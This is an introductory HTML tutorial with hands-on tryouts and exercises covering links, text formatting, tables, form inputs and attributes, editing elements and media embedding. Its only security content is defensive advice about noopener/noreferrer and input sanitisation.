To make a call to a number on click of a hyperlink, use the below syntax:

1. <a href="tel:+9999">Call Us</a>

Link Element - Target Attribute


Link element has an attribute named 'target' which specifies in which window, the hyperlinked content
should appear.
The target attribute can hold the following values:
The possible value of "target" Description
_blank Opens a web page in a new window or tab
_self Opens a web page in the same window (default)
_parent Opens a web page in the parent frame
_top Opens a web page in the full body of the window
frame-name Opens a web page in a named frame
For example:

1. <a href="https://owasp.org/" target="_blank">Link to OWASP web site</a>

In the above example, the https://owasp.org/ website opens in a new window.

Link Element - Best Practices

Best Practices:
 It is a best practice to use href and rel attributes for links based on the requirement.
 It is recommended to use the values like noopener and noreferrer for the rel attribute in links to
avoid security threats such as reverse tabnabbing.

For example:

1. <a href="http://example.com" target="_blank" rel="noopener noreferrer">


2. Example site
3. </a>

In the above example:

 rel=”noopener” attribute prevents the new page to be accessed by the window.opener property
by ensuring it executes in a separate process.
 rel=”noreferrer” attribute is similar to noopener along with it prevents passing on the referrer
details to the new page.

Tryout - 1 : Link Element


Problem Statement:
Make below observation(s) in the given code-snippet:

1. Defining hyperlinks using the Link element.


2. The first link opens in a new tab.
3. The second link opens in the same tab.

Activities:
Change the value set for the href attribute and observe the output.
Note: You can execute this tryout in your Visual Studio code IDE or any other editors.

1. <html>
2. <body>
3. <a href="https://owasp.org/" target="_blank">
4. Opens OWASP website in new tab
5. </a>
6. <br/>
7. <a href="https://owasp.org/" target="_top">
8. Opens OWASP website in same tab
9. </a>
10. </body>
11. </html>

Tryout - 2 : Link Element


Link Element as a Bookmark – Tryout
Problem Statement:
Copy the given code to your Visual Studio Code workspace.
Scroll down till the bottom and click on the link "Go to top" and observe the output, vice-versa check
for "Go to Bottom" functionality also.
Activity:
Change the #id and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editors.
demo.html
1. <!DOCTYPE html>
2. <html>
3. <body>
4. <p id="top">
5. Top of the page
6. </p>
7. <a href="#bottom">
8. Go to bottom
9. </a>
10. <p>
11. A hyperlink is a prime way in which users can navigate from one web page to another.
A hyperlink can point to another web page, or website, or files, or even specific locations on
the same web page.</br>
12. </p>
13. <p>
14. Hyperlinks can be of any of the below types:
15. </p>
16. <p>
17. <p>
18. <b> Text hyperlink:</b>
19. </p>
20. <p>
21. A clickable text is used to take the user to another web page.</br>
22. Largely, we use text-based hyperlinks.</br>
23. This text usually appears with an underline and in a different color.</br>
24. This color mapping is automatically done by the browser for all text hyperlinks.</br>
25. </p>
26. <p>
27. <b> Image hyperlink:</b></br>
28. </p>
29. <p>
30. A clickable image is used to take the user to another web page.</br>
31. </p>
32. <p>
33. <b> Bookmark hyperlink:</b></br>
34. A clickable text/image is used to take the user to another part of the same web
page</br>
35. </p>
36. <p>
37. <b> Email hyperlink:</b></br>
38. It allows users to send an email by clicking on that link.</br>
39. </p>
40. <p>
41. <b> Contact number hyperlink:</b></br>
42. It allows the user to call a number by clicking on that link.</br>
43. </p>
44. <p> Let us learn about Bookmark hyperlink through this demo. </p>
45. <p>
46. <b>Bookmark hyperlink:</b></br>
47. When a web page is lengthy, we commonly come across icons or links that say "Go to
Top" or "Go to Bottom". </br>
48. Click on these links does take the user to the top of the page or bottom, as
applicable.</br>
49. Sometimes we also observe, on click of a text in the menu bar, the page auto
scrolls to that particular section on that page. </br>
50. This is achieved by using the Bookmarking concept and the same is
implemented by using hyperlinks.
51. </p>
52. <p id="bottom">
53. Bottom of the page
54. </p>
55. <a href="#top">
56. Go to top
57. </a>
58. </body> </html>

Tryout - 3 : Link Element


Problem Statement:
Copy the given code to your Visual Studio Code workspace.
Activity:
Change the email ID and phone number and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editors.
demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. Any suggestions or feedbacks regarding our services?
5. <a href="mailto:[email protected]?Subject=Hello%20again">Send Mail</a> <br>
6. <a href="tel:+919445200125">Call Us</a> <br>
7. </body>
8. </html>

Exercise : Link Element


Problem Statement:
Consider the below Home Page of Hussain's Shopping Application.
Enhance semantics of content by adding the Link elements in the below-given code Homepage.html.
Links to be added:
1. Link "Login", "SignUp" and "Track order" to "Login.html", "SignUp.html" and "Track.html"
page respectively.
2. Bookmark each category to its details.
Homepage.html

1. <!DOCTYPE html>
2. <html>
3.
4. <head>
5. <meta name="keywords" content="Online, Shopping" />
6. <title>Hussain's Shopping</title>
7. </head>
8.
9. <body>
10. <header>
11. <nav> Login | SignUp | Track order </nav>
12. <h1>Welcome to Hussain's Shopping</h1>
13. <nav> Clothing | Electronics </nav>
14. </header>
15. <article>
16. Hussain's one-stop solution for all your shopping needs ! Dont believe us? Click on
the offers and
17. check it out for yourself !! <h2 id="Clothing"> Clothing </h2>
18. <h2 id="Electronics"> Electronics</h2>
19. </article>
20. <footer>
21. <nav> About Us | Privacy Policy | Contact Us | FAQ | Terms & Conditions </nav>
Copyright 2016 | ETA UI and MarkUp
22. </footer>
23. <aside> Like and Connect with us FB Twitter g+ </aside>
24. </body>
25. </html>

Expected Output:

Text-Level Semantic Elements


When displaying any content, specifically some kind of text/numerals on web pages, we might need to
format certain portions of the content.
Consider the below screenshot:
 The phone number is the quickest connection as it invites instant response and hence the number
is in bold.
 The email should be clearly readable and distinguishable and hence shown in italics.
 Business Timings details need to be considered as very important and it should be noted by the
user to know when the company team would be available to reachable to solve their queries.
This field can be underlined.

Adding a bit of formatting to the text can help in adding appropriate emphasis and makes it easier for
the user to figure the important information on the screen very quickly.
Widely Used Text-Level Semantic Elements
The table below lists widely used text-level semantic elements supported in HTML5.
Element Description
abbr Defines abbreviation or acronym
Element Description
q Represents text quoted from another source by adding quotation mark (" ")
small Displays text in relatively smaller font-size
mark Highlights text
strong Displays text in bold
em Displays text in the italic or emphasized format
sub Displays text as subscript
sup Displays text as superscript
span Provides styling to text
br Breaks line of text
Below are some text semantic tags and their usage:
The <strong> element:
 Make the text appear bolder

1. <strong>Text in bold</strong>

The <mark> element:


 Highlighted text like the way we do in a paper using a highlighter

1. HTML <mark>Marked</mark> Formatting

The <sup> element:


 Display text like superscript

1. Example of <sup>superscripted</sup> text.

The <sub> element:


 Display text like subscript

1. Example of <sub>subscripted</sub> text.

The <em> element:


 Emphasize text

1. <em>Text emphasized</em>

The <small> element:


 Display text in relatively smaller font

1. <h2>Text <small>Small</small> in HTML</h2>

The <del> element:


 Strikethrough text

1. This is <del>deleted</del> content.

Note: The <sup> and <sub> elements can be replaced by the CSS property "vertical-align" especially
while designing a logo of a product or a business that uses a raised baseline.

Table Elements – Need

Consider the screen below from a web application on tourism, which displays details about the best
time to visit different places.
Assume that we need to now quickly find out which of the places are best to be visited in the Jul-Sep
quarter.
It is quite difficult to comprehend this information from this display. We will need to go line by line
and find out yes/no by looking at the order of data displayed in each line. If we miss the correct order
of data in each line, there is a possibility of miscalculating the required information. If this data is
displayed in a ‘tabular format’, we can quickly get the required data.
With a tabular format of data display, the information we need can be easily interpreted by making
visual associations between row and column headers.
This is why we need HTML Tables. HTML Tables provide a means by which we can create a tabular
format of data on the web.
Organizing Data as Tables – Examples
An HTML table is a great way to display data that make more sense in spreadsheet formats as shown
below.0
Tour package information and comparisons:

Displaying price comparisons:


Nutritional facts:

HTML table arranges content into rows and columns and can be used on websites for the effective
display of information in a tabular structure.
We can create a simple table, with or without borders.

We can also create a complex tabular structure where contents can span across multiple
columns/multiple rows.

Additionally, an HTML table can also have a caption.

Let us see how we can design tables in HTML.


Creating Table Elements
Table Element – Syntax
The table element is defined in HTML using <table>...</table> tag
It contains table header and table body.
The table header is for adding header information like column headers and the table body is for table
contents.

The following elements are used within the table element:


Element Description
caption Defines table heading
tr Defines row of the table
th Defines heading of the column
td Defines data of column
Element Description
thead Defines header part of the table
tbody Defines the content part of the table
colgroup Helps to logically group two or more consecutive columns
Table Structure:

1. <table>
2. <caption>Table heading</caption>
3. <thead>
4. <tr>
5. <th>Column 1 heading</th>
6. <th>Column 2 Heading</th>
7. </tr>
8. </thead>
9. <tbody>
10. <tr>
11. <td>Column 1 data</td>
12. <td>Column 2 data</td>
13. </tr>
14. </tbody>
15. </table>

The above code snippet displays the below table on the web page:

Let us have a glance over how to create a simple table using HTML now.
Consider the below code snippet:

1. <html>
2. <table>
3. <thead>
4. <th>Back-end JS </th>
5. <th>Front-end JS </th>
6. </thead>
7. <tbody>
8. <tr>
9. <td>Node</td>
10. <td>React</td>
11. </tr>
12. <tr>
13. <td>Express</td>
14. <td>Angular</td>
15. </tr>
16. </tbody>
17. </table>
18. </html>

The output for the above code snippet will be as shown below:
In the above-mentioned code we can observe that:
 The <table> element encloses all the other table elements in it.
 The optional <thead> and <tbody> elements helps us to logically divide the table content.
 The <th> element is used to define the column heading.
 The <tr> element creates a new row.
 The <td> element creates a new table column.
Let us have a glance over another table requirement on the next page.
Table Element - Example 2
Suppose the developer has to design an HTML table as shown below:

Note that, Node and Express are logically related columns, and the same styling should be applied for
both.
The <colgroup> element in HTML helps us to group the related columns especially to provide some
common CSS property.

The HTML code snippet to achieve the above requirement is:

1. <table>
2. <caption>MERN stack developer program</caption>
3. <colgroup>
4. <col>
5. <col style="background-color:lightblue;">
6. <col span="2" style="background-color: lightgreen;">
7. <col style="background-color: lightpink;">
8. </colgroup>
9. <tr>
10. <th>Technology</th>
11. <td >MongoDB</td>
12. <td >Node</td>
13. <td >Express</td>
14. <td>React</td>
15. </tr>
16. <tr>
17. <th >Description</th>
18. <td>The database</td>
19. <td>Node is the base for server side scripting</td>
20. <td>JS framework for web server development</td>
21. <td>JS library to design the front end</td>
22. </tr>
23. </table>

In the above-mentioned code we can observe that:


 The <table> element encloses all the other table elements in it.
 Line numbers 3-7 code which has been enclosed between the <colgroup> element helps us to
logically group the related column data and also customize the default look and feel of the
respective column through CSS properties.
 The <colgroup> element has an attribute "span" which carries the information regarding how
many columns are to be grouped together. The default value of this span attribute is 1.
 The <tr> element helps to create a new table row.
 The <td> element helps to create a new table column.
Let us learn some of the best practices which can be used while designing the HTML table in our
application.

Best Practices:
 It is important that the table should be accessible to visually impaired users and hence it is
recommended to provide a table description using the <caption> element.
 It is a best practice to associate table headers <th> elements with their <td> cells.
 A table can be styled using appropriate CSS properties like height, and width for customizing
the default look and feel of this element.
Tryout : Table Elements
Problem Statement:
Make below observation(s) in the given code-snippet where details of a team is displayed as a table:
1. The table is defined using the <table> element which acts as a container for <caption>, <tr>,
<th>,<thead>,<tbody> and td elements.
2. Table - heading is defined using the <caption> element.
3. The row is defined using the <tr> element.
4. Column - headings are defined using the <th> element.
5. Column - data is defined using the <td> element.
Activity:
Add another employee record to the given table and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML
<!DOCTYPE html>
<html>
<body>
<table>
<caption>Team Details</caption>
<thead>
<tr>
<th>Employee Name</th>
<th>Emp ID</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>John</td>
<td>102342</td>
<td>Banglore</td>
</tr>
<tr>
<td>Joseph</td>
<td>890234</td>
<td>Pune</td>
</tr>
<tr>
<td>Sam</td>
<td>102342</td>
<td>Mysore</td>
</tr>
</tbody>
</table>
</body>
</html>
Table Elements : Colspan/Rowspan Attributes
The elements <td > and <th> supports the attributes namely colspan and rowspan which helps to merge
the table cells accordingly.
The colspan attribute accepts a numeric value and merges specified numeric value of columns together
whereas, the rowspan attribute accepts a numeric value and merges specified numeric value of rows
together.
Consider the below table with 4 rows and 4 columns.

For example, if we provide colspan attribute with a value 2, then 2 columns of the table will be
merged as shown below:

And, if we provide rowspan attribute with a value 2, then 2 rows of the table will be merged as shown
below:

Table Elements – Exercise

Problem Statement:

Consider the Details page of Hussain's Shopping application. Enhance its functionality by adding a
table element to display the available mobile inventories to populate the below-given output.
Details.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <meta name="keywords" content="Online, Shopping" />
5. <title>Hussain's Shopping</title>
6. </head>
7.
8. <body>
9.
10. <table border="1">
11. <caption>Mobile Inventories Available at Hussain's Shopping!</caption>
12. <!-- Design the table here -->
13. </table>
14. </body>
15. </html>

Expected output:

`
Form Elements – Need
Need of Form Element

In a web application, providing user's inputs is required in various contexts such as:

1. Provide users' information to create his/her account with a website


2. Provide a username and password to login into the account.
3. Provide feedback on a tour package the user had used, etc.

There has to be a mechanism through which a website can capture user inputs. This is why HTML
forms have been introduced.

HTML Forms, also known as Web Forms, help in capturing information from the user of a web
application.

Users can key-in the details such as name, email, phone numbers, comments, dates, and other needed
values using the HTML form inputs. Users can also select from a predefined set of values.

A sample form is illustrated below:


Form Input Elements – Syntax
The form input element is used to collect details from the user.

The table below lists the various types of input elements.


The possible value of
Description
"type"
text Creates textbox
password Creates textbox that accepts the only password
checkbox Creates checkbox
radio Creates a radio button
button Creates button
submit Creates a button that submits values of all form elements to the server
Creates a button that resets values of all form elements to their default
reset
value
image Creates a graphical version of a button
file Creates control to upload the file to the server
hidden Creates a hidden text field
email Creates textbox that accepts only valid email id
number Creates spinbox that accepts only whole numbers
range Creates a range slider
search Creates a search bar
URL Creates textbox that accepts only valid URL
color Creates color picker
date Creates date picker to select date
month Creates date picker to select a month
week Creates date picker to select week

Let us learn them in detail.


Label

The <label> element is used to associate a text label with a form <input> field. The label is used to
tell users the value that should be entered in the associated input field.
Additionally, the "for" attribute of the label can point to the "id" of input control. This ensures the cursor
focuses on the respective input control on the click of the label.
It also enhances the usability, by allowing the user to toggle the control by clicking on text written
within

<label>…</label> tag.

Tryout - 1 : Basic Input Elements


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Below given is the Registration Form of the Abc online training institute.
2. Various input element types are used to collect information from the user,
Activities:
1. Include an input field to upload the e-certificate of certified training.
2. Include a button for resetting the form inputs.
3. Include an appropriate multi-line input field to collect remarks from the user.
4. Add an input field to enter the valid email ID of the user.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<html>
<body>
<form>
<h4>Register·for·Online·Trainings</h4>
<!--·input·fields·types·text/password/email/number··-->
Username:<input·type="text"/>·<br/>
Password:<input·type="password"/>·<br/>
Contact:<input·type="number"/>·<br/><br/>
<!--·input·fields·type·checkbox·-->
Select·technologies·needed:·
<input·type="checkbox"·value="HTML"·checked·/>·HTML
<input·type="checkbox"·value="CSS"/>·CSS·
<input·type="checkbox"·value="JS"/>·JS<br/><br/>
<!--·input·field·type·radio·button·-->
Select·training·mode:·
<input·type="radio"·name="training"·value="classroom"·checked·/>·Classroom
<input·type="radio"·name="training"·value="VCR"·/>·VCR·<br/>
<!--·input·field·type·hidden·-->
<input·type="hidden"·name="language"·value="english"·/>·<br/><br/>
Enter·the·URL·of·the·certified·training·if·any:·<input·type="url"·/>·<br/>·<br>
<!--·input·field·type·button·-->
<input·type="button"·value="Click·here·to·see·the·available·trainings"/>·&nbsp;&nbsp;
<!--·input·field·type·submit·-->
<input·type="submit"/>·&nbsp;&nbsp;
</form>
</body>
</html>
Tryout - 2 : Basic Input Elements
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Usage of <label> element for the input element.
Activities:
1. Click on the label "Firstname" which focuses on the corresponding text box.
2. Click on the "Lastname" field and observe the difference in focus.
3. Modify the "Lastname" field in such a way that it focuses the corresponding text box on click.
Note: You can execute this tryout in your Visual Studio code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE·html>
<html>
·<body>
········<form>
············<label·for="firstname">Firstname:</label>
············<input·type="text"·id="firstname"·/>
············Lastname:·<input·type="text"·id="lastname"·/>
········</form>
····</body>
</html>

Color and Date Pickers


Input type – datetime-local:
Defines a date-time picker, where the user can pick a date as well as time

1. Choose a date and time: <input type="datetime-local"/>

Input type – week:


Defines a date picker, where the user can pick a week.

1. Select a week: <input type="week"/>


Input type – month:
Defines a date picker, where the user can pick a month.

1. Select a month: <input type="month"/>

Note: Output may vary for some input elements according to the browser
Tryout : Color and Date Pickers
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Creating a color-picker and date-picker using an input element.
Activity:
Include input fields to select month and week using corresponding picker elements.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<form>
<h4>Color and Date Pickers -Tryout</h4>
<!-- input type color picker -->
Select your favourite color:<input type="color" /> <br/> <br/>
<!-- input date picker -->
Select your DOB with time: <input type="datetime-local">
</form>
</body>
</html>
Select and Datalist Elements
We have <select> and <datalist> elements in HTML which helps to collect input data from user as a
drop-downs.
Let us see them in detail:
<select> element :
 Defines a drop-down list.
 The "multiple" attribute can be used for having a multi-select dropdown menu.
1. Country code: <select >
2. <option value="">-- Please choose a country code --</option>
3. <option value="+213">+213</option>
4. <option value="+91">+91</option>
5. <option value="+244">+244</option>
6. <option value="+61">+61</option>
7. <option value="+973">+973</option>
8. </select>

<datalist> element:
 Defines a set of pre-defined options available to choose for an <input> element.
 In the below example list attribute holds lists of possible options, the value assigned to the list
attribute of the input element and id attribute of datalist attribute should be the same and the
value sent to the server should be assigned to the option element value attribute.

1. Country: <input list="countries">


2. <datalist id="countries">
3. <option value="India">
4. <option value="France">
5. <option value="Singapore">
6. <option value="Thailand">
7. <option value="United Arab Emirates">
8. <option value="United States of America">
9. </datalist>

Note: <select> allows the user to select from some pre-defined options.
Whereas, for the <datalist> element, even though it is suggested to select from the given options, the
user can actually enter the data to the input field as any other input field.
Also, Output may vary for some input elements according to the browser
Tryout : Select and Datalist
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Usage of the <select> element to create the drop-down menu.
2. Usage of the <datalist> element to create the drop-down menu.
3. An <option> element is used to create menu-items.
4. The <selected> attribute selects value by-default.
Activities:
1. Click on the drop-down menu and select any other value.
2. Understand the difference between <select> and <datalist>.
3. Give a technology for certification which is not in the item list in the example of <datalist>.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE·html>
<html>
····<body>
········<form>
············<h4>Selecting·Input·Values·from·Dropdown</h4>
············<!--·When·the·input·is·collected·over·select·dropdown,
·············the·user·needs·to·select·an·option·from·the·dropdown·provided·-->
············Select·Technology·for·appearing·the·Certification:¤
············<select>
················<option·value="HTML">HTML·</option>
················<option·value="CSS">CSS·</option>
················<option·value="JS">JS·</option>
················<option·value="WD"·selected>Web·Developer·</option>················
············</select>··<br/>·<br/>
············<!--
·When·the·input·is·collected·through·datalist,·user·can·choose·the·vlue·from·the·option·list,
·················or·they·can·provide·their·own·input·through·the·input·field·-->
············Choose·Technology·for·appearing·the·Certification·:<input·list="Technologies"·/>
············<datalist·id="Technologies">
················<option·value="HTML">HTML·</option>
················<option·value="CSS">CSS·</option>
················<option·value="JS">JS·</option>
················<option·value="WD"·selected>Web·Developer·</option>·········
············</datalist>·
············<input·type="submit">
········</form>
····</body>
</html>
Other Form Elements
Range, Meter, Progress
Let us see some other input elements in HTML where the data can be collected from the user as a slider.
Input type – range:
Defines a range slider, where the user can select input.

1. Volume: <input type="range"/>

Meter:
Can be used to represent a scalar measurement within a known range.

1. Disk usage: <meter min="0" max="100" value="50"></meter>

Progress:

Can be used to represent the progress of a task.

Task completed: <progress min="0" max="100" value="50">50 of 100</progress>


Note: <progress> can be used to mark up the completion rate/degree of progress of an "in progress"
task through a progress bar.
Whereas, <meter> is used to represent a gauge or to represent a measurement in a known scale.
Output:
Displays the output of user input.
For example, consider the below code snippet:

1. <form oninput="result.value=parseInt(a.value)+parseInt(b.value)">
2. <input type="number" id="b" name="b" value="10" /> +
3. <input type="number" id="a" name="a" value="10" /> =
4. <output name="result" for="a b">20</output>
5. </form>

The 'oninput' attribute carries the logic of generating the output, and the 'for' attribute of <output> tag
specifies the control for which output has to be calculated.
The above-given code would populate two input fields on the web page and the sum of the values of
these two input fields is generated dynamically based on user activity on this page.
The output of the above code snippet will be as shown below:

Note: A disabled attribute can be used with any input type to restrict user interaction.
For example, a button can be made non-clickable, Checkbox can be made non-selectable.

The output may vary for some input elements according to the browser.

Tryout - 1 : Other Form Elements


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Creating a range slider using an input element.
2. Usage of <meter> element to create a meter.
3. Usage of<progress> element to create a progress bar.
4. The value attribute sets the default value for meter/progress elements.
5. Text message "50 of 100" will be displayed only when the browser doesn't support
meter/progress elements.
Activities:
1. Try sliding the slider across the slider-bar of range.
2. Change the value of meter and progress elements and observe the output.
Note: You can execute this tryout in your Visual Studio code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<form>
<h4>Slider Form Elements</h4>
<!-- input type range -->
Rate your experience:<input type="range" /> <br/> <br/>

<!-- meter used to represent a gauge or to represent a measurement in a known scal -->
Time consumed for the training: <meter min="0" max="100" value="50">50 of 100</meter>
<br/> <br/>
<!-- Progress can be used to mark up the completion rate/degree of progress of an "in progress"
task through a progress bar. -->
Completion of the course: <progress min="0" max="100" value="50">50 of 100</progress>
<br/> <br/>

</form>
</body>
</html>
Tryout - 2 : Other Form Elements

Problem Statement:
Make below observation(s) in the given code-snippet:

1. Usage of <output> element to display the result to the user.

Activity:
Slide over the range input and observe that value of the slider is displayed in the output control.
Note: You can execute this tryout in your Visual Studio code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<form oninput="O1.value = parseInt(R1.value)">
Rate your experience:<input type="range" id="R1" min="0" max="100" step="10" />
<output for="R1" id="O1"></output>
</form>
</body>
</html>

Exercise - 1 : Form Input Elements


Problem Statement:
Consider the below Signup page of Hussain's Shopping application.
Add the form elements in the below-given code to populate the output as below:
Signup.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <meta name="keywords" content="Online, Shopping" />
5. <title>Hussian's Shopping</title>
6. </head>
7. <body>
8. <header>
9. <h1>Sign Up!</h1>
10. </header>
11. <article>
12. <!-- Add form here-->
13. <br /> <br /> <br /> <br />
14. </article>
15. <footer>
16. <nav> About Us | Privacy Policy | Contact Us | FAQ | Terms & Conditions </nav>
Copyright &copy; 2018 | Giri
17. </footer>
18. <aside> Like and Connect with us FB Twitter g+ </aside>
19. </body>
20. </html>

Expected Output:

Exercise - 2 : Form Input Elements


Problem Statement:
Consider the below Rating Page of Hussain's Shopping Application.
Add the form elements range and meter in the below-given code to populate the output as below:
Rating.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>Hussain's Shopping</title>
5. <meta name="keywords" content="Online, Shopping"/>
6. </head>
7. <body>
8. <header>
9. <nav>
10. <a href="Login.html"> Login </a> |
11. <a href="Signup.html"> SignUp </a> |
12. <a href="TrackOrder.html"> Track order </a>
13. </nav>
14. <h1>Track your order</h1>
15. </header>
16.
17. <article>
18. <h2>Rate your shopping experience:</h2>
19.
20. <form oninput="M1.value = parseInt(R1.value);M2.value =
parseInt(R2.value);M3.value = parseInt(R3.value);M4.value = parseInt(R4.value);">
21. Delivery of product on time : <!-- Add range element with id="R1" and meter
element with id="M1" --><br/><br/>
22. Product quality : <!-- Add range element with id="R2" and meter element with
id="M2" -->60 of 100</meter><br/><br/>
23. How friendly the site is : <!-- Add range element with id="R3" and meter element
with id="M3" -->20 of 100</meter><br/><br>
24. Were you able to find the product which you were looking for?: <!-- Add range
element with id="R4" and meter element with id="M4" --><br/><br/>
25. </form>
26. </article>
27.
28. <footer>
29. <nav> About Us | Privacy Policy | Contact Us | FAQ | Terms & Conditions </nav>
30. Copyright &copy; 2018 | Giri
31. </footer>
32.
33. <aside>
34. Like and Connect with us FB Twitter g+
35. </aside>
36.
37. </body>
38. </html>

Expected Output:

Input Elements - Attributes


Hidden:
In a web page, when an element is not directly relevant to the page's current state, it's a good choice to
hide it.
The hidden attribute is used for this requirement.
Possible values are " " (Empty string) or hidden.
For example, the below-given input field for the language will not be shown to the end-user.

1. <input name="language" value="English" hidden >

Tryout : Input Element Attributes


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Usage of various attributes in the input element.
2. Observe the usage of form-override.
Activity:
1. Provide the "required" attribute for all the input elements.
2. Change "autofocus" attribute from the contact input field to the email input field.
3. Change the input field for job experience such that at least 3 years of experience is required to
register.
4. Provide the "placeholders" attributes for all the fields.
5. Use the "novalidate" attribute for the form element and observe the form validations would be
by-passed.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<form method="GET" >
<h4>Register Here to Get Job Offer Notifications</h4>
Username:<input type="text" pattern="[A-Za-z]" autocomplete/> <br/><br/>
Password:<input type="password" required/> <br/><br/>
Email ID:<input type="email" autofocus/> <br/><br/>
Contact:<input type="number" placeholder="Enter your contact number here"/> <br/><br/>
Job Experience: <input type="number" min="2" max="10" step="0.5"><br/><br/>
Certificates:<input type="file" multiple /><br/><br/>
<input name="language" type="text" value="English" hidden>
<input type="submit" formmethod="POST"><br/>
</form>
</body>
</html>
Exercise : Input Element Attributes
Problem Statement:
Consider the Signup Page of Hussain's Shopping application.
Enhance its functionality by adding attributes to input elements to populate the output as shown below:
Signup.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <meta name="keywords" content="Online, Shopping" />
5. <title>Hussian's Shopping</title>
6. </head>
7. <body>
8. <header>
9. <h1>Sign Up!</h1>
10. </header>
11. <article>
12. <form action="success.html" method="get">
13. <table>
14. <tr>
15. <td><br>Username:</td>
16. <td><br><input type="text" name="UserName" /></td> <!-- Add
placeholder and required attributes -->
17. </tr>
18. <tr>
19. <td>Password:</td>
20. <td><input type="password" name="name" /></td> <!-- Add
placeholder and required attributes -->
21. </tr>
22. <tr>
23. <td>Gender:</td>
24. <td>Male<input type="radio" name="user_gender" value="M"
/>&nbsp; Female<input type="radio" name="user_gender"
25. value="F"></td>
26. </tr>
27. <tr>
28. <td>DOB:</td>
29. <td><input type="date" name="user_date" /></td> <!-- Add
required attribute -->
30. </tr>
31. <tr>
32. <td>Phone number:</td>
33. <td><input type="text" name="phone" /><br><br></td> <!-- Add
placeholder, pattern and required attributes -->
34. </tr>
35. <tr>
36. <td>Email ID:</td>
37. <td><input type="email" name="user_email" /></td> <!-- Add
placeholder and required attributes -->
38. </tr>
39. <tr>
40. <td><br>Languages Known:</td>
41. <td><br><input type="checkbox" name="Langauges"
value="English" checked="checked" />English <input type="checkbox"
42. name="Langauges" value="Hindi" /> Hindi <input
type="checkbox" name="Langauges" value="French" /> French </td>
43. </tr>
44. <tr>
45. <td><br>Profile pic:</td>
46. <td><br><input type="file" /></td> <!-- Add required attribute --
>
47. </tr>
48. <tr>
49. <td><br /><br /><input type="submit" value="Register" />
50. <td><br /><br /><input type="reset" value="Reset" />
51. </tr>
52. </table>
53. </form>
54. <br /> <br /> <br /> <br />
55. </article>
56. <footer>
57. <nav> About Us | Privacy Policy | Contact Us | FAQ | Terms &
Conditions </nav> Copyright &copy; 2018 | Giri
58. </footer>
59. <aside> Like and Connect with us FB Twitter g+ </aside>
60. </body>
61. </html>

Editing Elements
Editing elements – Need
While developing any content-based application, there may be a requirement to get it reviewed.
While reviewing the content of our web page, the reviewer may want to add or delete some content.
For this scenario, editing elements can be used.

List of Editing Elements


The following are elements used for editing.
 del: It defines deleted text by striking on it
 ins: It defines inserted text by underlining it
Example:

1. <p>HTML is building block of Internet</p>


2. <p>HTML is building block of <del>Internet</del> <ins>WWW</ins></p>

Tryout : Editing Elements


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Internet is strike-out
2. WWW is underlined
Activity:
Assume that you have received the below web document for review. Try to insert new text "HTML5
is the latest version" as a reviewer using appropriate editing elements.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<p>HTML is a basic building block of <del>Internet</del> <ins>WWW</ins>
</p>
</body>
</html>
Form Elements - Best Practices
he following are the best practices to be followed while designing an HTML form.
 Do not nest a form inside another form. If forms are nested this leads to unpredictable behavior
of the form.
 Use <label> tag to wrap each form-controls.
 Use appropriate Input types for <input> element.
 Avoid placeholder attribute while designing Label for a web page.
 Include min and max attributes appropriately for <meter> and <progress> elements.
 All the form input values should be sanitized and validated to avoid security threats such as
HTML injection.

Media
Embedded Elements - Need
Any website must be able to engage well with its visitors, be entertaining, and be able to quickly deliver
information.
Embedding content like audio clips, videos, images, maps, and so on... are a great way of engaging, be
entertaining and be able to quickly deliver information to the website users.
Pictures or moving pictures, maps, etc. typically draw user attention and trigger quite a lot of emotions.
Humans find it easy to connect to such information, rather than having to go through textual
information.
This is why HTML provides tags for embedding media content like audio, video, and images and also
for embedding external content like maps.
HTML5 supports the following types of embedded elements:

Embedded Elements – Image


Image Element:
Embedding images to a web page can be done with the <img>...</img> tag. The <img> tag has
attributes 'src' and 'alt' where src defines the location of the image and alt defines the alternative text if
it is failed to load the image inside the web page.

1. <img src="Summit.png" alt="image unavailable"/>


Image Captions
We can also provide a caption for the embedded images.
HTML provides a semantic element <figure> along with <figcaption> element which help us to provide
caption for our images.
For example, consider the following code.

1. <figure>
2. <img src="tropicalSea.jpg"
3. alt="An image of tropical sea"
4. width="400"
5. height="341">
6. <figcaption>A colorful tropical sea view</figcaption>
7. </figure>

The above code snippet generates an output as below:

Embedded Elements – Audio


Audio Element:
Embedding audio to a web page can be done with <audio>...</audio> tag. The <audio> tag has an
attribute 'src' which defines the location of the audio file. It also has an attribute 'controls' which
specifies whether to display the player controls.

1. <audio src="audio.mp3" controls="controls"></audio>

